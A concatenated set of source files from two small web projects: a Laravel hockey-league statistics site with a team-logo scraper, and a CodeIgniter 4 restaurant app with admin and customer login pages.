parseInt(input.val()); if (!isNaN(currentVal)) { if(type == 'minus') { if(currentVal > input.attr('min')) { input.val(currentVal - 1).change(); } if(parseInt(input.val()) == input.attr('min')) { $(this).attr('disabled', true); } } else if(type == 'plus') { if(currentVal < input.attr('max')) { input.val(currentVal + 1).change(); } if(parseInt(input.val()) == input.attr('max')) { $(this).attr('disabled', true); } } } else { input.val(0); } }); $('.input-number').focusin(function(){ $(this).data('oldValue', $(this).val()); }); $('.input-number').change(function() { minValue = parseInt($(this).attr('min')); maxValue = parseInt($(this).attr('max')); valueCurrent = parseInt($(this).val()); name = $(this).attr('name'); if(valueCurrent >= minValue) { $(".btn-number[data-type='minus'][data-field='"+name+"']").removeAttr('disabled') } else { alert('Sorry, the minimum value was reached'); $(this).val($(this).data('oldValue')); } if(valueCurrent <= maxValue) { $(".btn-number[data-type='plus'][data-field='"+name+"']").removeAttr('disabled') } else { alert('Sorry, the maximum value was reached'); $(this).val($(this).data('oldValue')); } }); $(".input-number").keydown(function (e) { // Allow: backspace, delete, tab, escape, enter and . if ($.inArray(e.keyCode, [46, 8, 9, 27, 13, 190]) !== -1 || // Allow: Ctrl+A (e.keyCode == 65 && e.ctrlKey === true) || // Allow: home, end, left, right (e.keyCode >= 35 && e.keyCode <= 39)) { // let it happen, don't do anything return; } // Ensure that it is a number and stop the keypress if ((e.shiftKey || (e.keyCode < 48 || e.keyCode > 57)) && (e.keyCode < 96 || e.keyCode > 105)) { e.preventDefault(); } }); });<file_sep><?php namespace MyTaste\Service\MatchPlayer; use DB; /** * Class MatchPlayerService * * @package MyTaste\Service\MatchPlayer */ class MatchPlayerService { /** * @param int $playerId * @return array */ public function getMatchIdsByPlayerId($playerId) { return DB::table('match_players') ->select('match_id') ->where('player_id', $playerId) ->pluck('match_id'); } /** * @param int $playerId * @return int */ public function getGoalsByPlayerId($playerId) { return (int) DB::table('match_players') ->selectRaw('SUM(goals) AS goals') ->where('player_id', $playerId) ->groupBy('player_id') ->value('goals'); } /** * @param int $playerId * @return int */ public function getAssistsByPlayerId($playerId) { return (int) DB::table('match_players') ->selectRaw('SUM(assists) AS assists') ->where('player_id', $playerId) ->groupBy('player_id') ->value('assists'); } /** * @param int $playerId * @return array */ public function getFavoriteTeamsByPlayerId($playerId) { return DB::table('match_players') ->select([ DB::raw('COUNT(m.id) AS total'), DB::raw('IF (home = 1, home_team_id, away_team_id) AS team_id'), DB::raw('SUM(IF (home = 1, IF (home_goals > away_goals, 1, 0), IF (away_goals > home_goals, 1, 0))) AS victories') ]) ->join('matches AS m', 'match_id', '=', 'm.id') ->where('player_id', $playerId) ->groupBy('team_id') ->orderByRaw('SUM(IF (home = 1, IF (home_goals > away_goals, 1, 0), IF (away_goals > home_goals, 1, 0))) / COUNT(m.id) DESC, COUNT(m.id) DESC') ->get(); } }<file_sep><?php namespace App\Console\Commands; use Illuminate\Console\Command; use DB; use DOMDocument; use DOMXPath; class Team extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'teams:get'; /** * The console command description. * * @var string */ protected $description = 'Get teams from NHL.com'; /** * Execute the console command. * * @return mixed */ public function handle() { $ch = curl_init('https://www.nhl.com/info/teams'); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $xpath = $this->getXpath($response); $teams = $xpath->query('//div[@class="ticket-team"]'); foreach ($teams as $team) { $slug = $team->getAttribute('id'); $id = $xpath->query('.//div[contains(@class, "ticket-team_logo")]', $team); $id = (int) preg_replace('/\D/', '', $id->item(0)->getAttribute('class')); //$id = // Fetch and download team logotype //$image = sprintf('https://www.nhl.com%s', $xpath->query('.//div[contains(class, "ticket-team_logo")]/span/a/img/@src', $team)->item(0)->nodeValue); $image = sprintf('http://www-league.nhlstatic.com/builds/site-core/d060afbdcbe666eb665bb894d80fc8f39b6790ed_1476368294/images/team/logo/current/%d_dark.svg', $id); $this->downloadImage($image, $slug); // Get name /*$names = $xpath->query('.//div[contains(@class, "ticket-team_name")]/span/a/span', $team); $name = sprintf('%s %s', $names->item(0)->nodeValue, $names->item(1)->nodeValue); // Save to database DB::insert('INSERT IGNORE INTO teams (slug, name) VALUES (?, ?)', [ $slug, $name ]);*/ } } /** * @param $image * @param $slug */ private function downloadImage($image, $slug) { $ch = curl_init($image); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $imageResponse = curl_exec($ch); file_put_contents(sprintf('%s/../public/assets/img/teams/%s.svg', app_path(), $slug), $imageResponse); } /** * @param $response * @return DOMXPath */ private function getXpath($response) { $document = new DOMDocument; $document->strictErrorChecking = false; $document->recover = true; libxml_use_internal_errors(true); $document->loadHTML($response); libxml_use_internal_errors(false); libxml_clear_errors(); return new DOMXpath($document); } } <file_sep><?php Route::get('/', 'HomeController@index'); Route::get('/player/{id}', [ 'uses' => 'PlayerController@view', 'as' => 'player' ]); Route::group(['prefix' => 'game'], function ($router) { $router->get('randomize', 'GameController@randomize'); $router->get('{id}', 'GameController@view'); $router->post('{id}', 'GameController@update'); $router->post('', 'GameController@store'); });<file_sep><?php namespace MyTaste\Service\Player; use DB; class PlayerService { /** * @param int $playerId * @return object */ public function getById($playerId) { return DB::table('players') ->where('id', $playerId) ->first(); } }<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Requests; use DB; use Twig; /** * Class HomeController * @package App\Http\Controllers */ class HomeController extends Controller { private $startDate; private $endDate; /** * SELECT COUNT(matches.id) AS victories, teams.name, IF (home_goals > away_goals, home_team_id, away_team_id) AS winning_team_id FROM matches JOIN teams ON IF (home_goals > away_goals, home_team_id, away_team_id) = teams.id GROUP BY IF (home_goals > away_goals, home_team_id, away_team_id) ORDER BY victories DESC; */ /** * @param Request $request * @return mixed */ public function index(Request $request) { $months = $this->getMonthsWithMatches(); if ($date = $request->get('date')) { if ($date == 'total') { $this->startDate = '2016-01-01 00:00:00'; $this->endDate = '2020-12-31 23:59:59'; } else { $this->startDate = sprintf('%s-01 00:00:00', $date); $this->endDate = sprintf('%s-31 23:59:59', $date); } $currentMonth = $date; } else { $month = end($months); $this->startDate = sprintf('%d-%d-01 00:00:00', $month['year'], $month['month']); $this->endDate = sprintf('%d-%d-31 23:59:59', $month['year'], $month['month']); $currentMonth = sprintf('%d-%d', $month['year'], $month['month']); } $standings = $this->getStandings(); return Twig::render('index.twig', [ 'matches' => $this->getMatches(), 'standings' => $standings['standings'], 'min_matches' => $standings['min_matches'], 'team_standings' => $this->getTeamStandings(), 'statistics' => $this->getStatistics(), 'assists' => $this->getAssists(), 'penalties' => $this->getPenalties(), 'players' => array_filter($this->getPlayers(), function ($player) { return $player->is_active; }), 'teams' => $this->getTeams(), 'facts' => $this->getFacts(), 'months' => $months, 'currentMonth' => $currentMonth ]); } private function getMonthsWithMatches() { $result = DB::table('matches') ->selectRaw('DISTINCT DATE_FORMAT(created_at, \'%Y-%m\') AS month') ->orderBy('created_at', 'asc') ->lists('month'); $months = []; foreach ($result as $row) { list($year, $month) = explode('-', $row); $months[] = [ 'name' => date('M', strtotime($row)), 'month' => (int) $month, 'year' => (int) $year ]; } return $months; } private function getPenalties() { $players = $this->getPlayers(); foreach ($players as $key => $player) { $result = DB::table('match_players') ->selectRaw('IF (home = 0, away_penelty_minutes, home_penelty_minutes) AS penalty_minutes') ->where('player_id', $player->id) ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->whereNotNull('type') ->join('matches', 'matches.id', '=', 'match_id') ->lists('penalty_minutes'); if (count($result) == 0) { unset($players[$key]); continue; } $player->penalty_minutes = array_sum($result); $player->games = count($result); $player->penalty_minutes_per_game = round($player->penalty_minutes / $player->games, 2); $player->name = $this->fixName($player->name); } uasort($players, function ($a, $b) { if ($a->penalty_minutes_per_game != $b->penalty_minutes_per_game) { return ($a->penalty_minutes_per_game > $b->penalty_minutes_per_game) ? -1 : 1; } if ($a->penalty_minutes == $b->penalty_minutes) { return 0; } return ($a->penalty_minutes > $b->penalty_minutes) ? -1 : 1; }); return $players; } private function getFacts() { $facts = [ 'goals' => $this->getFactsGoals(), 'penalty_minutes' => $this->getFactsPenaltyMinutes(), 'shots' => $this->getFactsShots(), 'efficiency' => $this->getFactsEfficiency() ]; return $this->prepareFacts($facts); } /** * Bind game and players to each fact * * @param array $facts * @return array */ private function prepareFacts($facts) { foreach ($facts as $type => $fact) { foreach ($fact as $key => $row) { if (is_array($row)) { foreach ($row as $k => $r) { $facts[$type][$key][$k]->match = $this->getMatchById($r->id); } } else { $facts[$type][$key]->match = $this->getMatchById($row->id); } } } return $facts; } private function getMatchById($id) { $match = DB::table('matches') ->select([ 'matches.id', 'home_goals', 'away_goals', 'home_shots', 'away_shots', 'home_penelty_minutes', 'away_penelty_minutes', 'type', 'home_team.slug as home_team_slug', 'home_team.name as home_team_name', 'away_team.slug as away_team_slug', 'away_team.name as away_team_name', 'created_at' ]) ->join('teams as home_team', 'home_team_id', '=', 'home_team.id') ->join('teams as away_team', 'away_team_id', '=', 'away_team.id') ->where('matches.id', $id) ->first(); $players = DB::table('match_players') ->select([ 'player_id', 'home', 'facebook_id', 'name' ]) ->join('players', 'player_id', '=', 'players.id') ->where('match_id', $id) ->get(); $home = [ 'goals' => $match->home_goals, 'shots' => $match->home_shots, 'penalty_minutes' => $match->home_penelty_minutes, 'efficiency' => $match->home_shots > 0 ? $match->home_goals / $match->home_shots : 0, 'team' => [ 'name' => $match->home_team_name, 'slug' => $match->home_team_slug ] ]; $away = [ 'goals' => $match->away_goals, 'shots' => $match->away_shots, 'penalty_minutes' => $match->away_penelty_minutes, 'efficiency' => $match->away_shots > 0 ? $match->away_goals / $match->away_shots : 0, 'team' => [ 'name' => $match->away_team_name, 'slug' => $match->away_team_slug ] ]; foreach ($players as $player) { $player->name = $this->fixName($player->name); if ($player->home) { $home['players'][] = $player; } else { $away['players'][] = $player; } } return [ 'id' => $id, 'home' => $home, 'away' => $away, 'type' => $match->type, 'created_at' => $match->created_at ]; } /** * Get facts about efficiency * * @return array */ private function getFactsEfficiency() { $facts['most'] = DB::table('matches') ->selectRaw('IF (home_goals / home_shots > away_goals / away_shots, home_goals / home_shots, away_goals / away_shots) AS efficiency, IF (home_goals / home_shots > away_goals / away_shots, home_shots, away_shots) AS shots, id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->where('home_shots', '>', 0) ->where('away_shots', '>', 0) ->whereNotNull('type') ->orderBy('efficiency', 'desc') ->take(5) ->get(); $facts['least'] = DB::table('matches') ->selectRaw('IF (home_goals / home_shots > away_goals / away_shots, home_goals / home_shots, away_goals / away_shots) AS efficiency, IF (home_goals / home_shots > away_goals / away_shots, home_shots, away_shots) AS shots, id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->where('home_shots', '>', 0) ->where('away_shots', '>', 0) ->whereNotNull('type') ->orderBy('efficiency', 'asc') ->orderBy('shots', 'desc') ->take(5) ->get(); return $facts; } /** * Get facts about shots * * @return array */ private function getFactsShots() { $facts = []; // Most shots in one game $facts['most_in_one_game'] = DB::table('matches') ->selectRaw('home_shots + away_shots as shots, id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->where('home_shots', '>', 0) ->where('away_shots', '>', 0) ->whereNotNull('type') ->orderBy('shots', 'desc') ->take(1) ->first(); // Least shots in one game $facts['least_in_one_game'] = DB::table('matches') ->selectRaw('home_shots + away_shots as shots, id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->where('home_shots', '>', 0) ->where('away_shots', '>', 0) ->whereNotNull('type') ->orderBy('shots', 'asc') ->take(1) ->first(); // Most shots by one team $facts['most_by_one_team'] = DB::table('matches') ->selectRaw('IF (home_shots > away_shots, home_shots, away_shots) AS shots, id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->where('home_shots', '>', 0) ->where('away_shots', '>', 0) ->whereNotNull('type') ->orderBy('shots', 'desc') ->take(1) ->first(); // Most shots by one team $facts['least_by_one_team'] = DB::table('matches') ->selectRaw('IF (home_shots < away_shots, home_shots, away_shots) AS shots, id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->where('home_shots', '>', 0) ->where('away_shots', '>', 0) ->whereNotNull('type') ->orderBy('shots', 'asc') ->take(1) ->first(); return $facts; } /** * Get facts about penalty minutes * * @return array */ private function getFactsPenaltyMinutes() { $facts = []; // Most minutes in one game $facts['most_in_one_game'] = DB::table('matches') ->selectRaw('home_penelty_minutes + away_penelty_minutes as penalty_minutes, id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->whereNotNull('type') ->orderBy('penalty_minutes', 'desc') ->take(1) ->first(); // Most minutes by one team $facts['most_by_one_team'] = DB::table('matches') ->selectRaw('IF (home_penelty_minutes < away_penelty_minutes, home_penelty_minutes, away_penelty_minutes) AS penalty_minutes, id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->whereNotNull('type') ->orderBy('penalty_minutes', 'desc ') ->take(1) ->first(); return $facts; } /** * Get facts about goals * * @return array */ private function getFactsGoals() { $facts = []; // Most goals in one game $facts['most_in_one_game'] = DB::table('matches') ->selectRaw('home_goals + away_goals as goals, id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->whereNotNull('type') ->orderBy('goals', 'desc') ->take(1) ->first(); // Least goals in one game $facts['least_in_one_game'] = DB::table('matches') ->selectRaw('home_goals + away_goals as goals, id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->whereNotNull('type') ->orderBy('goals', 'asc') ->take(1) ->first(); // Most goals by one team $facts['most_by_one_team'] = DB::table('matches') ->selectRaw('IF (home_goals > away_goals, home_goals, away_goals) AS goals, id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->whereNotNull('type') ->orderBy('goals', 'desc') ->take(1) ->first(); // Biggest win $facts['biggest_win'] = DB::table('matches') ->selectRaw('ABS(CAST(home_goals AS SIGNED)-CAST(away_goals AS SIGNED)) AS goals, id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->whereNotNull('type') ->orderBy('goals', 'desc') ->take(1) ->first(); return $facts; } private function getTeamStandings() { $players = $this->getPlayers(); $playerCombinations = []; $playerGames = []; $teamStandings = []; foreach ($players as $key => $player) { for ($i = $key + 1; $i < count($players); $i++) { $playerCombinations[] = [ $player->id, $players[$i]->id ]; } $playerGames[$player->id] = DB::table('match_players') ->where('player_id', $player->id) ->join('matches', 'matches.id', '=', 'match_id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->whereNotNull('type') ->lists('home', 'match_id'); } foreach ($playerCombinations as $combination) { $playerKey = implode('-', $combination); foreach ($playerGames[$combination[0]] as $gameId => $isHome) { if (isset($playerGames[$combination[1]][$gameId]) && $isHome == $playerGames[$combination[1]][$gameId]) { if (!isset($teamStandings[$playerKey])) { $teamStandings[$playerKey] = [ 'players' => $combination, 'matches' => 0, 'points' => 0, 'points_per_match' => 0, 'win' => [ 'ft' => 0, 'ot' => 0 ], 'lost' => [ 'ft' => 0, 'ot' => 0 ], 'goals' => [ 'made' => 0, 'conceded' => 0 ] ]; } $row = DB::table('matches') ->select([ 'home_goals', 'away_goals', 'type' ]) ->where('id', $gameId) ->first(); $teamStandings[$playerKey]['matches']++; $goalsMade = $isHome ? $row->home_goals : $row->away_goals; $goalsConceded = $isHome ? $row->away_goals : $row->home_goals; $teamStandings[$playerKey]['goals']['made'] += $goalsMade; $teamStandings[$playerKey]['goals']['conceded'] += $goalsConceded; $win = $goalsMade > $goalsConceded; $ot = $row->type != 'FT'; $teamStandings[$playerKey][$win ? 'win' : 'lost'][$ot ? 'ot' : 'ft']++; } } } // Count points $teamStandings = array_map(function ($team) { $team['points'] = ($team['win']['ft'] * 3) + ($team['win']['ot'] * 2) + $team['lost']['ot']; $team['points_per_match'] = round($team['points'] / $team['matches'], 2); $team['goals']['plusminus'] = $team['goals']['made'] - $team['goals']['conceded']; return $team; }, $teamStandings); // Sort on points uasort($teamStandings, function ($a, $b) { if ($a['points_per_match'] != $b['points_per_match']) { return ($a['points_per_match'] > $b['points_per_match']) ? -1 : 1; } if ($a['goals']['plusminus'] != $b['goals']['plusminus']) { return ($a['goals']['plusminus'] > $b['goals']['plusminus']) ? -1 : 1; } return ($a['points'] > $b['points']) ? -1 : 1; }); foreach ($teamStandings as $key => $team) { $results = DB::table('players') ->select([ 'id', 'facebook_id', 'name', 'company' ]) ->whereIn('id', $team['players']) ->get(); $results = array_map(function ($result) { $result->name = $this->fixName($result->name); return $result; }, $results); $teamStandings[$key]['players'] = $results; } return $teamStandings; } /** * @return array */ private function getTeams() { return DB::table('teams') ->orderBy('name') ->get(); } /** * @return array */ private function getPlayers() { return DB::table('players') ->select(['id', 'name', 'facebook_id', 'company', 'is_active']) ->orderBy('name') ->get(); } /** * @return array */ private function getStandings() { $results = DB::table('match_players') ->select([ 'player_id', 'home', 'home_goals', 'away_goals', 'type' ]) ->join('matches', 'id', '=', 'match_id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->whereNotNull('type') ->get(); $players = []; $totalMatches = 0; foreach ($results as $row) { if (!isset($players[$row->player_id])) { $players[$row->player_id] = [ 'matches' => 0, 'points' => 0, 'points_per_match' => 0, 'trend' => null, 'trend_specified' => [], 'win' => [ 'ft' => 0, 'ot' => 0 ], 'lost' => [ 'ft' => 0, 'ot' => 0 ], 'goals' => [ 'made' => 0, 'conceded' => 0 ] ]; } $players[$row->player_id]['matches']++; $totalMatches++; $goalsMade = $row->home ? $row->home_goals : $row->away_goals; $goalsConceded = $row->home ? $row->away_goals : $row->home_goals; $players[$row->player_id]['goals']['made'] += $goalsMade; $players[$row->player_id]['goals']['conceded'] += $goalsConceded; $win = $goalsMade > $goalsConceded; $ot = $row->type != 'FT'; $players[$row->player_id][$win ? 'win' : 'lost'][$ot ? 'ot' : 'ft']++; $trendType = $win ? 'W' : 'L'; if (strpos($players[$row->player_id]['trend'], $trendType) !== false) { $trend = (int) str_replace($trendType, '', $players[$row->player_id]['trend']); $players[$row->player_id]['trend'] = sprintf('%d%s', $trend + 1, $trendType); } else { $players[$row->player_id]['trend'] = sprintf('1%s', $trendType); } $players[$row->player_id]['trend_specified'][] = $trendType; } $minMatches = round(($totalMatches / count($players)) * .7); // Count points $players = array_map(function ($player) use ($minMatches) { $player['points'] = ($player['win']['ft'] * 3) + ($player['win']['ot'] * 2) + $player['lost']['ot']; $player['points_per_match'] = round($player['points'] / $player['matches'], 2); $player['goals']['plusminus'] = $player['goals']['made'] - $player['goals']['conceded']; $player['played_enough_matches'] = $player['matches'] >= $minMatches; $player['trend_specified'] = array_slice($player['trend_specified'], -5, 5); return $player; }, $players); // Sort on points uasort($players, function ($a, $b) { if ($a['played_enough_matches'] != $b['played_enough_matches']) { return $a['played_enough_matches'] ? -1 : 1; } if ($a['points_per_match'] != $b['points_per_match']) { return ($a['points_per_match'] > $b['points_per_match']) ? -1 : 1; } if ($a['goals']['plusminus'] != $b['goals']['plusminus']) { return ($a['goals']['plusminus'] > $b['goals']['plusminus']) ? -1 : 1; } return ($a['points'] > $b['points']) ? -1 : 1; }); $standings = []; foreach ($players as $id => $player) { $result = DB::table('players') ->select([ 'id', 'facebook_id', 'name', 'company' ]) ->where('id', $id) ->first('name'); $result->name = $this->fixName($result->name); $standings[] = array_merge((array) $result, $player); } return [ 'standings' => $standings, 'min_matches' => $minMatches ]; } /** * @return array */ private function getMatches() { $results = DB::table('matches') ->select([ 'matches.id', 'home_goals', 'away_goals', 'type', 'home_team.slug as home_team_slug', 'home_team.name as home_team_name', 'away_team.slug as away_team_slug', 'away_team.name as away_team_name', 'created_at' ]) ->join('teams as home_team', 'home_team_id', '=', 'home_team.id') ->join('teams as away_team', 'away_team_id', '=', 'away_team.id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->orderBy('created_at', 'desc') ->get(); $matches = []; foreach ($results as $row) { $players = DB::table('match_players') ->select([ 'player_id', 'home', 'facebook_id', 'name' ]) ->join('players', 'player_id', '=', 'players.id') ->where('match_id', $row->id) ->get(); $home = [ 'goals' => $row->home_goals, 'team' => [ 'name' => $row->home_team_name, 'slug' => $row->home_team_slug ] ]; $away = [ 'goals' => $row->away_goals, 'team' => [ 'name' => $row->away_team_name, 'slug' => $row->away_team_slug ] ]; foreach ($players as $player) { $player->name = $this->fixName($player->name); if ($player->home) { $home['players'][] = $player; } else { $away['players'][] = $player; } } $matches[] = [ 'id' => $row->id, 'home' => $home, 'away' => $away, 'type' => $row->type, 'created_at' => $row->created_at ]; } return $matches; } /** * @return array */ private function getStatistics() { $results = DB::table('match_players as mp') ->selectRaw('COUNT(mp.match_id) AS games, SUM(mp.goals) AS goals, p.*') ->join('players as p', 'mp.player_id', '=', 'p.id') ->join('matches as m', 'mp.match_id', '=', 'm.id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->whereNotNull('type') ->groupBy('mp.player_id') ->orderBy('goals', 'desc') ->get(); $statistics = []; foreach ($results as $row) { $row->goals_per_game = round($row->goals / $row->games, 2); $row->name = $this->fixName($row->name); $statistics[] = (array) $row; } // Sort on points uasort($statistics, function ($a, $b) { if ($a['goals_per_game'] != $b['goals_per_game']) { return ($a['goals_per_game'] > $b['goals_per_game']) ? -1 : 1; } return ($a['goals'] > $b['goals']) ? -1 : 1; }); return $statistics; } /** * @return array */ private function getAssists() { $results = DB::table('match_players as mp') ->selectRaw('COUNT(mp.match_id) AS games, SUM(mp.assists) AS assists, p.*') ->join('players as p', 'mp.player_id', '=', 'p.id') ->join('matches as m', 'mp.match_id', '=', 'm.id') ->where('created_at', '>=', $this->startDate) ->where('created_at', '<=', $this->endDate) ->whereNotNull('type') ->groupBy('mp.player_id') ->orderBy('assists', 'desc') ->get(); $statistics = []; foreach ($results as $row) { $row->assists_per_game = round($row->assists / $row->games, 2); $row->name = $this->fixName($row->name); $statistics[] = (array) $row; } // Sort on points uasort($statistics, function ($a, $b) { if ($a['assists_per_game'] != $b['assists_per_game']) { return ($a['assists_per_game'] > $b['assists_per_game']) ? -1 : 1; } return ($a['assists'] > $b['assists']) ? -1 : 1; }); return $statistics; } /** * @param string $name * @return string */ private function fixName($name) { $names = explode(' ', $name); $names[0] = sprintf('%s.', substr($names[0], 0, 1)); return implode(' ', $names); } }<file_sep><?php namespace MyTaste\Service\Team; use DB; class TeamService { /** * @param array $teamIds * @return array */ public function getByIds($teamIds) { $result = DB::table('teams') ->whereIn('id', $teamIds) ->get(); $teams = array_fill_keys($teamIds, []); foreach ($result as $row) { $teams[$row->id] = $row; } return $teams; } }<file_sep><?php namespace App\Http\Controllers; use MyTaste\Service\MatchPlayer\MatchPlayerService; use MyTaste\Service\Player\PlayerService; use MyTaste\Service\Team\TeamService; use Twig; class PlayerController extends Controller { public function view( MatchPlayerService $matchPlayerService, PlayerService $playerService, TeamService $teamService, $id ) { $player = $playerService->getById($id); $matchIds = $matchPlayerService->getMatchIdsByPlayerId($id); $goals = $matchPlayerService->getGoalsByPlayerId($id); $assists = $matchPlayerService->getAssistsByPlayerId($id); $favoriteTeamsData = $matchPlayerService->getFavoriteTeamsByPlayerId($id); $favoriteTeams = $teamService->getByIds(array_pluck($favoriteTeamsData, 'team_id')); $matchesPlayed = count($matchIds); return Twig::render('player.twig', [ 'player' => $player, 'goals' => $goals, 'assists' => $assists, 'matches_played' => $matchesPlayed, 'favorite_teams' => $favoriteTeams ]); } }
eddd321dc5314af7a86ff9c1f3102a038a97c333
[ "JavaScript", "PHP" ]
9
PHP
patrikalbertsson/ezhl
0329283bda8d5ecd12e458057c7bd7c2ad17aac0
c24c243b006838e98bc503e55fb54d28675e419c
refs/heads/master
<repo_name>Q42/meteor-wait-for-image<file_sep>/package.js Package.describe({ name: 'q42:wait-for-image', version: '0.0.2', summary: 'A block helper to wait with rendering content until an image has been loaded', git: 'https://github.com/Q42/meteor-wait-for-image', documentation: 'README.md' }); Package.onUse(function(api) { api.versionsFrom('1.1.0.2'); api.use('reactive-var'); api.use('templating'); api.use('ui'); api.use('spacebars'); api.use('blaze'); api.addFiles('wait-for-image.html'); api.addFiles('wait-for-image.js', ['client']); }); <file_sep>/wait-for-image.js var loaded = new ReactiveVar(false); Template.waitForImage.onRendered(function() { var img = document.createElement('img'); img.onload = function() { loaded.set(true); }; this.autorun(function() { var url = Template.currentData(); if (url) { console.log(url); Meteor.setTimeout(function() { img.src = url; },17); } }); }); Template.waitForImage.helpers({ loaded: function() { return loaded.get(); } }); <file_sep>/README.md this package is no longer in development
2fdd6e1189c86320437655650fba7962342a0ac6
[ "JavaScript", "Markdown" ]
3
JavaScript
Q42/meteor-wait-for-image
f5b93393fb5d28f3af220a78fc3827a5cb73743a
7f0c311b5bd1b7df864e86c123457a201071a109
refs/heads/master
<repo_name>KenNarendraE/Project-Restoran-CI4<file_sep>/ci4/app/Views/template/login.php <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="<?= base_url('/bootstrap/css/bootstrap.min.css') ?>"> <title>Login Page</title> </head> <body> <div class="container"> <div class="row"> <div class="mt-5 col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <div class="col"> <?php if (!empty($info)) { echo '<div class="alert alert-danger" role="alert">'; echo $info; echo '</div>'; } ?> </div> <h5 class="card-title text-center">Login Admin</h5> <form action="<?= base_url('/admin/login') ?>" method="post" class="form-signin"> <div class="form-label-group"> <input type="email" name="email" class="form-control" placeholder="Email address" required autofocus> <label for="inputEmail">Email address</label> </div> <div class="form-label-group"> <input type="<PASSWORD>" name="password" class="form-control" placeholder="<PASSWORD>" required> <label for="inputPassword">Password</label> </div> <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button> <hr class="my-4"> <div class="form-group"> <a href="<?= base_url("admin/loginp") ?>">Anda Pelanggan?</a> </div> </form> </div> </div> </div> </div> </div> </body> </html><file_sep>/ci4/app/Views/userp/insert.php <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="<?= base_url('/bootstrap/css/bootstrap.min.css') ?>"> <title>Buat Akun</title> </head> <div class="col"> <?php if (!empty(session()->getFlashdata('info'))) { echo '<div class="alert alert-danger" role="alert">'; $error = session()->getFlashdata('info'); foreach ($error as $key => $value) { echo $key . "=>" . $value; echo "<br>"; } echo '</div>'; } ?> </div> <div class="col-6 mt-5 mx-auto"> <h3>Buat Akun</h3> <form action="<?= base_url('/Admin/UserP/insert') ?>" method="post"> <div class="form-group"> <label for="Keterangan">Nama Pelanggan</label> <input type="text" name="pelanggan" required class="form-control"> </div> <div class="form-group"> <label for="Keterangan">Alamat</label> <input type="text" name="alamat" required class="form-control"> </div> <div class="form-group"> <label for="Keterangan">No Telpon</label> <input type="number" name="telp" required class="form-control"> </div> <div class="form-group"> <label for="Keterangan">Email</label> <input type="email" name="email" required class="form-control"> </div> <div class="form-group"> <label for="Keterangan">Password</label> <input type="<PASSWORD>" name="password" required class="form-control"> </div> <div class="form-group"> <input type="submit" name="simpan" value="SIMPAN" class="btn btn-danger"> </div> </form> </div><file_sep>/ci4/app/Controllers/Admin/AdminPage.php <?php namespace App\Controllers\Admin; use \App\Controllers\BaseController; class AdminPage extends BaseController { public function index() { return view('template/admin'); } //-------------------------------------------------------------------- } <file_sep>/ci4/app/Controllers/Admin/Loginp.php <?php namespace App\Controllers\Admin; use \App\Models\Pelanggan_M; use \App\Controllers\BaseController; class Loginp extends BaseController { public function index() { $data = []; if ($this->request->getMethod() == 'post') { $email = $this->request->getPost('email'); $password = $this->request->getPost('password'); $model = new Pelanggan_M(); $pelanggan = $model->where(['email' => $email, 'aktif' => 1])->first(); if (empty($pelanggan)) { $data['info'] = "Email salah !!"; } else { if ($password == $pelanggan['password']) { $this->setSession($pelanggan); return redirect()->to(base_url('/plg')); } else { $data['info'] = "Password salah !!"; } // if (password_verify($password, $pelanggan['password'])) { // $this->setSession($pelanggan); // return redirect()->to(base_url('/pelangganp/select')); // } else { // $data['info'] = "Password salah !!"; // } } } else { # code... } return view('template/loginp', $data); } public function setSession($pelanggan) { $data = [ 'pelanggan' => $pelanggan['pelanggan'], 'email' => $pelanggan['email'], 'loggedIn' => true ]; session()->set($data); } public function logout() { session()->destroy(); return redirect()->to(base_url('/loginp')); } //-------------------------------------------------------------------- }
32f53aed3977a843b7217b441b376d71e224ca86
[ "PHP" ]
4
PHP
KenNarendraE/Project-Restoran-CI4
a3aa779daf5d5f809b4be3949a5c2b710f5c650e
8ec2897e912f0567dfb58848bb681d8f1782597d
refs/heads/master
